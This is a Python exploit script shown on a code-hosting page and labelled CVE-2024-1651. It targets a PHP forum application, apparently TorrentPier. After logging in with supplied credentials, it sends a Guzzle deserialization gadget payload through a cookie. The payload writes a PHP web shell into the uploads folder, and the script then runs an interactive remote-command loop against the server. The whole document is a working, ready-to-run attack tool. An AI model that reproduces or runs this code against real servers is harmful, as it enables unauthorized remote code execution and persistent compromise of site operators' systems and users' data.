-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.py
111 lines (102 loc) · 4.16 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# thanks to VluxD
import requests
import random
import string
import urllib.parse
import sys
import re
import argparse
parser = argparse.ArgumentParser(description="CVE-2024-1651")
parser.add_argument("-u", "--username", type=str, help="username", required=True)
parser.add_argument("-p", "--password", type=str, help="password", required=True)
parser.add_argument("-s", "--server", type=str, help="target host", required=True)
parser.add_argument(
"-f",
"--forumid",
type=str,
help="forum-id to obtain serialized data",
required=True,
)
args = parser.parse_args()
if not any(vars(args).values()):
parser.error("[!] all arguments must be declared!")
def random_string(length):
return "".join(random.choice(string.ascii_lowercase) for _ in range(length))
USER = args.username
PASS = args.password
HOST = args.server
DIR = "data/uploads/%s.php" % random_string(8)
url_login = "http://%s/login.php" % HOST
S = requests.Session()
data = {
"login_username": USER,
"login_password": PASS,
"autologin": 1,
"login": "Login",
}
R = S.post(url_login, data=data, allow_redirects=False)
bb_data = R.cookies.get("bb_data")
if bb_data:
print("[+] login successful!")
print(f"[+] {bb_data = }")
R1 = S.get(f"http://{HOST}/viewtopic.php?t=%s" % args.forumid)
print("[+] generating deserialization Guzzle/FW1 payload")
# phpggc Guzzle/FW1 data/uploads/shell.php $(pwd)/test.php -f -u
payload = "a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A16%3A%22%3C%3F%3D%60%24_POST%5B0%5D%60%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A{}%3A%22{}%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D".format(
len(DIR), urllib.parse.quote_plus(DIR)
)
print(f"[+] RCE will be at http://{HOST}/{DIR}")
url_post = f"http://{HOST}/search.php"
data = {
"nm": "",
"to": "1",
"allw": "1",
"pn": "",
"f[]": "0",
"tm": "0",
"dm": "0",
"o": "1",
"s": "0",
"submit": "\xa0\xa0Search\xa0\xa0",
}
encoded_data = "&".join([f"{key}={value}" for key, value in data.items()])
headers = {
"Host": f"{HOST}",
"Cache-Control": "max-age=0",
"Origin": f"http://{HOST}",
"DNT": "1",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": f"http://{HOST}/search.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7",
"Cookie": "bb_data={}; bb_t={}".format(bb_data, payload),
"sec-gpc": "1",
"Connection": "close",
}
headers["Content-Length"] = str(len(encoded_data))
S.post(url_post, headers=headers, data=data)
if S.get(f"http://{HOST}/{DIR}").status_code == 500:
print("[+] shell uploaded!\n[+] popping shell!\n")
while True:
cmd = input("RCE> ")
R3 = S.post(f"http://{HOST}/{DIR}", data={"0": cmd}).text
pattern = r'"Value":"([^"]*)"'
matches = re.findall(pattern, R3)
if cmd == "exit":
exit(1)
else:
if matches:
value = matches[0]
print(value)
else:
print("[-] something error!")
exit(1)
else:
print("[+] uploading shell failed!")
exit(1)
else:
print("[!] login failed!")
exit(1)